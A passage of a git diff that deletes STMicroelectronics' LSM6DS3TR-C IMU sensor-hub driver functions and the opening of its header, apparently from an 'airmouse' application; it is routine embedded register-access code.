ctx, lsm6ds3tr_c_start_config_t val) { - lsm6ds3tr_c_master_config_t master_config; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_MASTER_CONFIG, (uint8_t*)&master_config, 1); - - if(ret == 0) { - master_config.start_config = (uint8_t)val; - ret = lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_MASTER_CONFIG, (uint8_t*)&master_config, 1); - } - - return ret; -} - -/** - * @brief Sensor hub trigger signal selection.[get] - * - * @param ctx Read / write interface definitions - * @param val Get the values of start_config in reg MASTER_CONFIG - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_sh_syncro_mode_get(stmdev_ctx_t* ctx, lsm6ds3tr_c_start_config_t* val) { - lsm6ds3tr_c_master_config_t master_config; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_MASTER_CONFIG, (uint8_t*)&master_config, 1); - - switch(master_config.start_config) { - case LSM6DS3TR_C_XL_GY_DRDY: - *val = LSM6DS3TR_C_XL_GY_DRDY; - break; - - case LSM6DS3TR_C_EXT_ON_INT2_PIN: - *val = LSM6DS3TR_C_EXT_ON_INT2_PIN; - break; - - default: - *val = LSM6DS3TR_C_SH_SYNCRO_ND; - break; - } - - return ret; -} - -/** - * @brief Manage the Master DRDY signal on INT1 pad.[set] - * - * @param ctx Read / write interface definitions - * @param val Change the values of drdy_on_int1 in reg MASTER_CONFIG - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_sh_drdy_on_int1_set(stmdev_ctx_t* ctx, uint8_t val) { - lsm6ds3tr_c_master_config_t master_config; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_MASTER_CONFIG, (uint8_t*)&master_config, 1); - - if(ret == 0) { - master_config.drdy_on_int1 = val; - ret = lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_MASTER_CONFIG, (uint8_t*)&master_config, 1); - } - - return ret; -} - -/** - * @brief Manage the Master DRDY signal on INT1 pad.[get] - * - * @param ctx Read / write interface definitions - * @param val Change the values of drdy_on_int1 in reg MASTER_CONFIG - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_sh_drdy_on_int1_get(stmdev_ctx_t* ctx, uint8_t* val) { - lsm6ds3tr_c_master_config_t master_config; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_MASTER_CONFIG, (uint8_t*)&master_config, 1); - *val = master_config.drdy_on_int1; - - return ret; -} - -/** - * @brief Sensor hub output registers.[get] - * - * @param ctx Read / write interface definitions - * @param val Structure of registers from SENSORHUB1_REG - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_sh_read_data_raw_get(stmdev_ctx_t* ctx, lsm6ds3tr_c_emb_sh_read_t* val) { - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_SENSORHUB1_REG, (uint8_t*)&(val->sh_byte_1), 12); - - if(ret == 0) { - ret = lsm6ds3tr_c_read_reg( - ctx, LSM6DS3TR_C_SENSORHUB13_REG, (uint8_t*)&(val->sh_byte_13), 6); - } - - return ret; -} - -/** - * @brief Master command code used for stamping for sensor sync.[set] - * - * @param ctx Read / write interface definitions - * @param val Change the values of master_cmd_code in - * reg MASTER_CMD_CODE - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_sh_cmd_sens_sync_set(stmdev_ctx_t* ctx, uint8_t val) { - lsm6ds3tr_c_master_cmd_code_t master_cmd_code; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_MASTER_CMD_CODE, (uint8_t*)&master_cmd_code, 1); - - if(ret == 0) { - master_cmd_code.master_cmd_code = val; - ret = - lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_MASTER_CMD_CODE, (uint8_t*)&master_cmd_code, 1); - } - - return ret; -} - -/** - * @brief Master command code used for stamping for sensor sync.[get] - * - * @param ctx Read / write interface definitions - * @param val Change the values of master_cmd_code in - * reg MASTER_CMD_CODE - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_sh_cmd_sens_sync_get(stmdev_ctx_t* ctx, uint8_t* val) { - lsm6ds3tr_c_master_cmd_code_t master_cmd_code; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_MASTER_CMD_CODE, (uint8_t*)&master_cmd_code, 1); - *val = master_cmd_code.master_cmd_code; - - return ret; -} - -/** - * @brief Error code used for sensor synchronization.[set] - * - * @param ctx Read / write interface definitions - * @param val Change the values of error_code in - * reg SENS_SYNC_SPI_ERROR_CODE. - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_sh_spi_sync_error_set(stmdev_ctx_t* ctx, uint8_t val) { - lsm6ds3tr_c_sens_sync_spi_error_code_t sens_sync_spi_error_code; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg( - ctx, LSM6DS3TR_C_SENS_SYNC_SPI_ERROR_CODE, (uint8_t*)&sens_sync_spi_error_code, 1); - - if(ret == 0) { - sens_sync_spi_error_code.error_code = val; - ret = lsm6ds3tr_c_write_reg( - ctx, LSM6DS3TR_C_SENS_SYNC_SPI_ERROR_CODE, (uint8_t*)&sens_sync_spi_error_code, 1); - } - - return ret; -} - -/** - * @brief Error code used for sensor synchronization.[get] - * - * @param ctx Read / write interface definitions - * @param val Change the values of error_code in - * reg SENS_SYNC_SPI_ERROR_CODE. - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_sh_spi_sync_error_get(stmdev_ctx_t* ctx, uint8_t* val) { - lsm6ds3tr_c_sens_sync_spi_error_code_t sens_sync_spi_error_code; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg( - ctx, LSM6DS3TR_C_SENS_SYNC_SPI_ERROR_CODE, (uint8_t*)&sens_sync_spi_error_code, 1); - *val = sens_sync_spi_error_code.error_code; - - return ret; -} - -/** - * @brief Number of external sensors to be read by the sensor hub.[set] - * - * @param ctx Read / write interface definitions - * @param val Change the values of aux_sens_on in reg SLAVE0_CONFIG. - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_sh_num_of_dev_connected_set(stmdev_ctx_t* ctx, lsm6ds3tr_c_aux_sens_on_t val) { - lsm6ds3tr_c_slave0_config_t slave0_config; - int32_t ret; - - ret = lsm6ds3tr_c_mem_bank_set(ctx, LSM6DS3TR_C_BANK_A); - - if(ret == 0) { - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_SLAVE0_CONFIG, (uint8_t*)&slave0_config, 1); - - if(ret == 0) { - slave0_config.aux_sens_on = (uint8_t)val; - ret = - lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_SLAVE0_CONFIG, (uint8_t*)&slave0_config, 1); - - if(ret == 0) { - ret = lsm6ds3tr_c_mem_bank_set(ctx, LSM6DS3TR_C_USER_BANK); - } - } - } - - return ret; -} - -/** - * @brief Number of external sensors to be read by the sensor hub.[get] - * - * @param ctx Read / write interface definitions - * @param val Get the values of aux_sens_on in reg SLAVE0_CONFIG. - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t - lsm6ds3tr_c_sh_num_of_dev_connected_get(stmdev_ctx_t* ctx, lsm6ds3tr_c_aux_sens_on_t* val) { - lsm6ds3tr_c_slave0_config_t slave0_config; - int32_t ret; - - ret = lsm6ds3tr_c_mem_bank_set(ctx, LSM6DS3TR_C_BANK_A); - - if(ret == 0) { - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_SLAVE0_CONFIG, (uint8_t*)&slave0_config, 1); - - if(ret == 0) { - switch(slave0_config.aux_sens_on) { - case LSM6DS3TR_C_SLV_0: - *val = LSM6DS3TR_C_SLV_0; - break; - - case LSM6DS3TR_C_SLV_0_1: - *val = LSM6DS3TR_C_SLV_0_1; - break; - - case LSM6DS3TR_C_SLV_0_1_2: - *val = LSM6DS3TR_C_SLV_0_1_2; - break; - - case LSM6DS3TR_C_SLV_0_1_2_3: - *val = LSM6DS3TR_C_SLV_0_1_2_3; - break; - - default: - *val = LSM6DS3TR_C_SLV_EN_ND; - break; - } - - ret = lsm6ds3tr_c_mem_bank_set(ctx, LSM6DS3TR_C_USER_BANK); - } - } - - return ret; -} - -/** - * @brief Configure slave 0 for perform a write.[set] - * - * @param ctx Read / write interface definitions - * @param val Structure that contain: - * - uint8_t slv_add; 8 bit i2c device address - * - uint8_t slv_subadd; 8 bit register device address - * - uint8_t slv_data; 8 bit data to write - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_sh_cfg_write(stmdev_ctx_t* ctx, lsm6ds3tr_c_sh_cfg_write_t* val) { - lsm6ds3tr_c_slv0_add_t slv0_add; - int32_t ret; - - ret = lsm6ds3tr_c_mem_bank_set(ctx, LSM6DS3TR_C_BANK_A); - - if(ret == 0) { - slv0_add.slave0_add = val->slv0_add; - slv0_add.rw_0 = 0; - ret = lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_SLV0_ADD, (uint8_t*)&slv0_add, 1); - - if(ret == 0) { - ret = lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_SLV0_SUBADD, &(val->slv0_subadd), 1); - - if(ret == 0) { - ret = lsm6ds3tr_c_write_reg( - ctx, LSM6DS3TR_C_DATAWRITE_SRC_MODE_SUB_SLV0, &(val->slv0_data), 1); - - if(ret == 0) { - ret = lsm6ds3tr_c_mem_bank_set(ctx, LSM6DS3TR_C_USER_BANK); - } - } - } - } - - return ret; -} - -/** - * @brief Configure slave 0 for perform a read.[get] - * - * @param ctx Read / write interface definitions - * @param val Structure that contain: - * - uint8_t slv_add; 8 bit i2c device address - * - uint8_t slv_subadd; 8 bit register device address - * - uint8_t slv_len; num of bit to read - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_sh_slv0_cfg_read(stmdev_ctx_t* ctx, lsm6ds3tr_c_sh_cfg_read_t* val) { - lsm6ds3tr_c_slave0_config_t slave0_config; - lsm6ds3tr_c_slv0_add_t slv0_add; - int32_t ret; - - ret = lsm6ds3tr_c_mem_bank_set(ctx, LSM6DS3TR_C_BANK_A); - - if(ret == 0) { - slv0_add.slave0_add = val->slv_add; - slv0_add.rw_0 = 1; - ret = lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_SLV0_ADD, (uint8_t*)&slv0_add, 1); - - if(ret == 0) { - ret = lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_SLV0_SUBADD, &(val->slv_subadd), 1); - - if(ret == 0) { - ret = lsm6ds3tr_c_read_reg( - ctx, LSM6DS3TR_C_SLAVE0_CONFIG, (uint8_t*)&slave0_config, 1); - slave0_config.slave0_numop = val->slv_len; - - if(ret == 0) { - ret = lsm6ds3tr_c_write_reg( - ctx, LSM6DS3TR_C_SLAVE0_CONFIG, (uint8_t*)&slave0_config, 1); - - if(ret == 0) { - ret = lsm6ds3tr_c_mem_bank_set(ctx, LSM6DS3TR_C_USER_BANK); - } - } - } - } - } - - return ret; -} - -/** - * @brief Configure slave 1 for perform a read.[get] - * - * @param ctx Read / write interface definitions - * @param val Structure that contain: - * - uint8_t slv_add; 8 bit i2c device address - * - uint8_t slv_subadd; 8 bit register device address - * - uint8_t slv_len; num of bit to read - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_sh_slv1_cfg_read(stmdev_ctx_t* ctx, lsm6ds3tr_c_sh_cfg_read_t* val) { - lsm6ds3tr_c_slave1_config_t slave1_config; - lsm6ds3tr_c_slv1_add_t slv1_add; - int32_t ret; - - ret = lsm6ds3tr_c_mem_bank_set(ctx, LSM6DS3TR_C_BANK_A); - - if(ret == 0) { - slv1_add.slave1_add = val->slv_add; - slv1_add.r_1 = 1; - ret = lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_SLV1_ADD, (uint8_t*)&slv1_add, 1); - - if(ret == 0) { - ret = lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_SLV1_SUBADD, &(val->slv_subadd), 1); - - if(ret == 0) { - ret = lsm6ds3tr_c_read_reg( - ctx, LSM6DS3TR_C_SLAVE1_CONFIG, (uint8_t*)&slave1_config, 1); - slave1_config.slave1_numop = val->slv_len; - - if(ret == 0) { - ret = lsm6ds3tr_c_write_reg( - ctx, LSM6DS3TR_C_SLAVE1_CONFIG, (uint8_t*)&slave1_config, 1); - - if(ret == 0) { - ret = lsm6ds3tr_c_mem_bank_set(ctx, LSM6DS3TR_C_USER_BANK); - } - } - } - } - } - - return ret; -} - -/** - * @brief Configure slave 2 for perform a read.[get] - * - * @param ctx Read / write interface definitions - * @param val Structure that contain: - * - uint8_t slv_add; 8 bit i2c device address - * - uint8_t slv_subadd; 8 bit register device address - * - uint8_t slv_len; num of bit to read - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_sh_slv2_cfg_read(stmdev_ctx_t* ctx, lsm6ds3tr_c_sh_cfg_read_t* val) { - lsm6ds3tr_c_slv2_add_t slv2_add; - lsm6ds3tr_c_slave2_config_t slave2_config; - int32_t ret; - - ret = lsm6ds3tr_c_mem_bank_set(ctx, LSM6DS3TR_C_BANK_A); - - if(ret == 0) { - slv2_add.slave2_add = val->slv_add; - slv2_add.r_2 = 1; - ret = lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_SLV2_ADD, (uint8_t*)&slv2_add, 1); - - if(ret == 0) { - ret = lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_SLV2_SUBADD, &(val->slv_subadd), 1); - - if(ret == 0) { - ret = lsm6ds3tr_c_read_reg( - ctx, LSM6DS3TR_C_SLAVE2_CONFIG, (uint8_t*)&slave2_config, 1); - - if(ret == 0) { - slave2_config.slave2_numop = val->slv_len; - ret = lsm6ds3tr_c_write_reg( - ctx, LSM6DS3TR_C_SLAVE2_CONFIG, (uint8_t*)&slave2_config, 1); - - if(ret == 0) { - ret = lsm6ds3tr_c_mem_bank_set(ctx, LSM6DS3TR_C_USER_BANK); - } - } - } - } - } - - return ret; -} - -/** - * @brief Configure slave 3 for perform a read.[get] - * - * @param ctx Read / write interface definitions - * @param val Structure that contain: - * - uint8_t slv_add; 8 bit i2c device address - * - uint8_t slv_subadd; 8 bit register device address - * - uint8_t slv_len; num of bit to read - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_sh_slv3_cfg_read(stmdev_ctx_t* ctx, lsm6ds3tr_c_sh_cfg_read_t* val) { - lsm6ds3tr_c_slave3_config_t slave3_config; - lsm6ds3tr_c_slv3_add_t slv3_add; - int32_t ret; - - ret = lsm6ds3tr_c_mem_bank_set(ctx, LSM6DS3TR_C_BANK_A); - - if(ret == 0) { - slv3_add.slave3_add = val->slv_add; - slv3_add.r_3 = 1; - ret = lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_SLV3_ADD, (uint8_t*)&slv3_add, 1); - - if(ret == 0) { - ret = lsm6ds3tr_c_write_reg( - ctx, LSM6DS3TR_C_SLV3_SUBADD, (uint8_t*)&(val->slv_subadd), 1); - - if(ret == 0) { - ret = lsm6ds3tr_c_read_reg( - ctx, LSM6DS3TR_C_SLAVE3_CONFIG, (uint8_t*)&slave3_config, 1); - - if(ret == 0) { - slave3_config.slave3_numop = val->slv_len; - ret = lsm6ds3tr_c_write_reg( - ctx, LSM6DS3TR_C_SLAVE3_CONFIG, (uint8_t*)&slave3_config, 1); - - if(ret == 0) { - ret = lsm6ds3tr_c_mem_bank_set(ctx, LSM6DS3TR_C_USER_BANK); - } - } - } - } - } - - return ret; -} - -/** - * @brief Decimation of read operation on Slave 0 starting from the - * sensor hub trigger.[set] - * - * @param ctx Read / write interface definitions - * @param val Change the values of slave0_rate in reg SLAVE0_CONFIG - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_sh_slave_0_dec_set(stmdev_ctx_t* ctx, lsm6ds3tr_c_slave0_rate_t val) { - lsm6ds3tr_c_slave0_config_t slave0_config; - int32_t ret; - - ret = lsm6ds3tr_c_mem_bank_set(ctx, LSM6DS3TR_C_BANK_A); - - if(ret == 0) { - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_SLAVE0_CONFIG, (uint8_t*)&slave0_config, 1); - - if(ret == 0) { - slave0_config.slave0_rate = (uint8_t)val; - ret = - lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_SLAVE0_CONFIG, (uint8_t*)&slave0_config, 1); - - if(ret == 0) { - ret = lsm6ds3tr_c_mem_bank_set(ctx, LSM6DS3TR_C_USER_BANK); - } - } - } - - return ret; -} - -/** - * @brief Decimation of read operation on Slave 0 starting from the - * sensor hub trigger.[get] - * - * @param ctx Read / write interface definitions - * @param val Get the values of slave0_rate in reg SLAVE0_CONFIG - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_sh_slave_0_dec_get(stmdev_ctx_t* ctx, lsm6ds3tr_c_slave0_rate_t* val) { - lsm6ds3tr_c_slave0_config_t slave0_config; - int32_t ret; - - ret = lsm6ds3tr_c_mem_bank_set(ctx, LSM6DS3TR_C_BANK_A); - - if(ret == 0) { - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_SLAVE0_CONFIG, (uint8_t*)&slave0_config, 1); - - if(ret == 0) { - switch(slave0_config.slave0_rate) { - case LSM6DS3TR_C_SL0_NO_DEC: - *val = LSM6DS3TR_C_SL0_NO_DEC; - break; - - case LSM6DS3TR_C_SL0_DEC_2: - *val = LSM6DS3TR_C_SL0_DEC_2; - break; - - case LSM6DS3TR_C_SL0_DEC_4: - *val = LSM6DS3TR_C_SL0_DEC_4; - break; - - case LSM6DS3TR_C_SL0_DEC_8: - *val = LSM6DS3TR_C_SL0_DEC_8; - break; - - default: - *val = LSM6DS3TR_C_SL0_DEC_ND; - break; - } - - ret = lsm6ds3tr_c_mem_bank_set(ctx, LSM6DS3TR_C_USER_BANK); - } - } - - return ret; -} - -/** - * @brief Slave 0 write operation is performed only at the first sensor - * hub cycle. - * This is effective if the Aux_sens_on[1:0] field in - * SLAVE0_CONFIG(04h) is set to a value other than 00.[set] - * - * @param ctx Read / write interface definitions - * @param val Change the values of write_once in reg SLAVE1_CONFIG - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_sh_write_mode_set(stmdev_ctx_t* ctx, lsm6ds3tr_c_write_once_t val) { - lsm6ds3tr_c_slave1_config_t slave1_config; - int32_t ret; - - ret = lsm6ds3tr_c_mem_bank_set(ctx, LSM6DS3TR_C_BANK_A); - - if(ret == 0) { - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_SLAVE1_CONFIG, (uint8_t*)&slave1_config, 1); - slave1_config.write_once = (uint8_t)val; - - if(ret == 0) { - ret = - lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_SLAVE1_CONFIG, (uint8_t*)&slave1_config, 1); - - if(ret == 0) { - ret = lsm6ds3tr_c_mem_bank_set(ctx, LSM6DS3TR_C_USER_BANK); - } - } - } - - return ret; -} - -/** - * @brief Slave 0 write operation is performed only at the first sensor - * hub cycle. - * This is effective if the Aux_sens_on[1:0] field in - * SLAVE0_CONFIG(04h) is set to a value other than 00.[get] - * - * @param ctx Read / write interface definitions - * @param val Get the values of write_once in reg SLAVE1_CONFIG - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_sh_write_mode_get(stmdev_ctx_t* ctx, lsm6ds3tr_c_write_once_t* val) { - lsm6ds3tr_c_slave1_config_t slave1_config; - int32_t ret; - - ret = lsm6ds3tr_c_mem_bank_set(ctx, LSM6DS3TR_C_BANK_A); - - if(ret == 0) { - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_SLAVE1_CONFIG, (uint8_t*)&slave1_config, 1); - - if(ret == 0) { - switch(slave1_config.write_once) { - case LSM6DS3TR_C_EACH_SH_CYCLE: - *val = LSM6DS3TR_C_EACH_SH_CYCLE; - break; - - case LSM6DS3TR_C_ONLY_FIRST_CYCLE: - *val = LSM6DS3TR_C_ONLY_FIRST_CYCLE; - break; - - default: - *val = LSM6DS3TR_C_SH_WR_MODE_ND; - break; - } - - ret = lsm6ds3tr_c_mem_bank_set(ctx, LSM6DS3TR_C_USER_BANK); - } - } - - return ret; -} - -/** - * @brief Decimation of read operation on Slave 1 starting from the - * sensor hub trigger.[set] - * - * @param ctx Read / write interface definitions - * @param val Change the values of slave1_rate in reg SLAVE1_CONFIG - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_sh_slave_1_dec_set(stmdev_ctx_t* ctx, lsm6ds3tr_c_slave1_rate_t val) { - lsm6ds3tr_c_slave1_config_t slave1_config; - int32_t ret; - - ret = lsm6ds3tr_c_mem_bank_set(ctx, LSM6DS3TR_C_BANK_A); - - if(ret == 0) { - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_SLAVE1_CONFIG, (uint8_t*)&slave1_config, 1); - - if(ret == 0) { - slave1_config.slave1_rate = (uint8_t)val; - ret = - lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_SLAVE1_CONFIG, (uint8_t*)&slave1_config, 1); - - if(ret == 0) { - ret = lsm6ds3tr_c_mem_bank_set(ctx, LSM6DS3TR_C_USER_BANK); - } - } - } - - return ret; -} - -/** - * @brief Decimation of read operation on Slave 1 starting from the - * sensor hub trigger.[get] - * - * @param ctx Read / write interface definitions reg SLAVE1_CONFIG - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_sh_slave_1_dec_get(stmdev_ctx_t* ctx, lsm6ds3tr_c_slave1_rate_t* val) { - lsm6ds3tr_c_slave1_config_t slave1_config; - int32_t ret; - - ret = lsm6ds3tr_c_mem_bank_set(ctx, LSM6DS3TR_C_BANK_A); - - if(ret == 0) { - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_SLAVE1_CONFIG, (uint8_t*)&slave1_config, 1); - - if(ret == 0) { - switch(slave1_config.slave1_rate) { - case LSM6DS3TR_C_SL1_NO_DEC: - *val = LSM6DS3TR_C_SL1_NO_DEC; - break; - - case LSM6DS3TR_C_SL1_DEC_2: - *val = LSM6DS3TR_C_SL1_DEC_2; - break; - - case LSM6DS3TR_C_SL1_DEC_4: - *val = LSM6DS3TR_C_SL1_DEC_4; - break; - - case LSM6DS3TR_C_SL1_DEC_8: - *val = LSM6DS3TR_C_SL1_DEC_8; - break; - - default: - *val = LSM6DS3TR_C_SL1_DEC_ND; - break; - } - - ret = lsm6ds3tr_c_mem_bank_set(ctx, LSM6DS3TR_C_USER_BANK); - } - } - - return ret; -} - -/** - * @brief Decimation of read operation on Slave 2 starting from the - * sensor hub trigger.[set] - * - * @param ctx Read / write interface definitions - * @param val Change the values of slave2_rate in reg SLAVE2_CONFIG - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_sh_slave_2_dec_set(stmdev_ctx_t* ctx, lsm6ds3tr_c_slave2_rate_t val) { - lsm6ds3tr_c_slave2_config_t slave2_config; - int32_t ret; - - ret = lsm6ds3tr_c_mem_bank_set(ctx, LSM6DS3TR_C_BANK_A); - - if(ret == 0) { - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_SLAVE2_CONFIG, (uint8_t*)&slave2_config, 1); - - if(ret == 0) { - slave2_config.slave2_rate = (uint8_t)val; - ret = - lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_SLAVE2_CONFIG, (uint8_t*)&slave2_config, 1); - - if(ret == 0) { - ret = lsm6ds3tr_c_mem_bank_set(ctx, LSM6DS3TR_C_USER_BANK); - } - } - } - - return ret; -} - -/** - * @brief Decimation of read operation on Slave 2 starting from the - * sensor hub trigger.[get] - * - * @param ctx Read / write interface definitions - * @param val Get the values of slave2_rate in reg SLAVE2_CONFIG - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_sh_slave_2_dec_get(stmdev_ctx_t* ctx, lsm6ds3tr_c_slave2_rate_t* val) { - lsm6ds3tr_c_slave2_config_t slave2_config; - int32_t ret; - - ret = lsm6ds3tr_c_mem_bank_set(ctx, LSM6DS3TR_C_BANK_A); - - if(ret == 0) { - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_SLAVE2_CONFIG, (uint8_t*)&slave2_config, 1); - - if(ret == 0) { - switch(slave2_config.slave2_rate) { - case LSM6DS3TR_C_SL2_NO_DEC: - *val = LSM6DS3TR_C_SL2_NO_DEC; - break; - - case LSM6DS3TR_C_SL2_DEC_2: - *val = LSM6DS3TR_C_SL2_DEC_2; - break; - - case LSM6DS3TR_C_SL2_DEC_4: - *val = LSM6DS3TR_C_SL2_DEC_4; - break; - - case LSM6DS3TR_C_SL2_DEC_8: - *val = LSM6DS3TR_C_SL2_DEC_8; - break; - - default: - *val = LSM6DS3TR_C_SL2_DEC_ND; - break; - } - - ret = lsm6ds3tr_c_mem_bank_set(ctx, LSM6DS3TR_C_USER_BANK); - } - } - - return ret; -} - -/** - * @brief Decimation of read operation on Slave 3 starting from the - * sensor hub trigger.[set] - * - * @param ctx Read / write interface definitions - * @param val Change the values of slave3_rate in reg SLAVE3_CONFIG - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_sh_slave_3_dec_set(stmdev_ctx_t* ctx, lsm6ds3tr_c_slave3_rate_t val) { - lsm6ds3tr_c_slave3_config_t slave3_config; - int32_t ret; - - ret = lsm6ds3tr_c_mem_bank_set(ctx, LSM6DS3TR_C_BANK_A); - - if(ret == 0) { - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_SLAVE3_CONFIG, (uint8_t*)&slave3_config, 1); - slave3_config.slave3_rate = (uint8_t)val; - - if(ret == 0) { - ret = - lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_SLAVE3_CONFIG, (uint8_t*)&slave3_config, 1); - - if(ret == 0) { - ret = lsm6ds3tr_c_mem_bank_set(ctx, LSM6DS3TR_C_USER_BANK); - } - } - } - - return ret; -} - -/** - * @brief Decimation of read operation on Slave 3 starting from the - * sensor hub trigger.[get] - * - * @param ctx Read / write interface definitions - * @param val Get the values of slave3_rate in reg SLAVE3_CONFIG. - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_sh_slave_3_dec_get(stmdev_ctx_t* ctx, lsm6ds3tr_c_slave3_rate_t* val) { - lsm6ds3tr_c_slave3_config_t slave3_config; - int32_t ret; - - ret = lsm6ds3tr_c_mem_bank_set(ctx, LSM6DS3TR_C_BANK_A); - - if(ret == 0) { - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_SLAVE3_CONFIG, (uint8_t*)&slave3_config, 1); - - if(ret == 0) { - switch(slave3_config.slave3_rate) { - case LSM6DS3TR_C_SL3_NO_DEC: - *val = LSM6DS3TR_C_SL3_NO_DEC; - break; - - case LSM6DS3TR_C_SL3_DEC_2: - *val = LSM6DS3TR_C_SL3_DEC_2; - break; - - case LSM6DS3TR_C_SL3_DEC_4: - *val = LSM6DS3TR_C_SL3_DEC_4; - break; - - case LSM6DS3TR_C_SL3_DEC_8: - *val = LSM6DS3TR_C_SL3_DEC_8; - break; - - default: - *val = LSM6DS3TR_C_SL3_DEC_ND; - break; - } - - ret = lsm6ds3tr_c_mem_bank_set(ctx, LSM6DS3TR_C_USER_BANK); - } - } - - return ret; -} - -/** - * @} - * - */ - -/** - * @} - * - */ - -/************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/ diff --git a/applications/external/airmouse/tracking/imu/lsm6ds3tr_c_reg.h b/applications/external/airmouse/tracking/imu/lsm6ds3tr_c_reg.h deleted file mode 100644 index 8cb592c0d..000000000 --- a/applications/external/airmouse/tracking/imu/lsm6ds3tr_c_reg.h +++ /dev/null @@ -1,2448 +0,0 @@ -/** - ****************************************************************************** - * @file lsm6ds3tr_c_reg.h - * @author Sensors Software Solution Team - * @brief This file contains all the functions prototypes for the - * lsm6ds3tr_c_reg.c driver. - ****************************************************************************** - * @attention - * - *

© Copyright (c) 2021 STMicroelectronics. - * All rights reserved.

- * - * This software component is licensed by ST under BSD 3-Clause license, - * the "License"; You may not use this file except in compliance with the - * License. You may obtain a copy of the License at: - * opensource.org/licenses/BSD-3-Clause - * - ****************************************************************************** - */ - -/* Define to prevent recursive inclusion -------------------------------------*/ -#ifndef LSM6DS3TR_C_DRIVER_H -#define LSM6DS3TR_C_DRIVER_H - -#ifdef __cplusplus -extern "C" { -#endif - -/* Includes ------------------------------------------------------------------*/ -#include -#include -#include - -/** @addtogroup LSM6DS3TR_C - * @{ - * - */ - -/** @defgroup Endianness definitions - * @{ - * - */ - -#ifndef DRV_BYTE_ORDER -#ifndef __BYTE_ORDER__ - -#define DRV_LITTLE_ENDIAN 1234 -#define DRV_BIG_ENDIAN 4321 - -/** if _BYTE_ORDER is not defined, choose the endianness of your architecture - * by uncommenting the define which fits your platform endianness - */ -//#define DRV_BYTE_ORDER DRV_BIG_ENDIAN -#define DRV_BYTE_ORDER DRV_LITTLE_ENDIAN - -#else /* defined __BYTE_ORDER__ */ - -#define 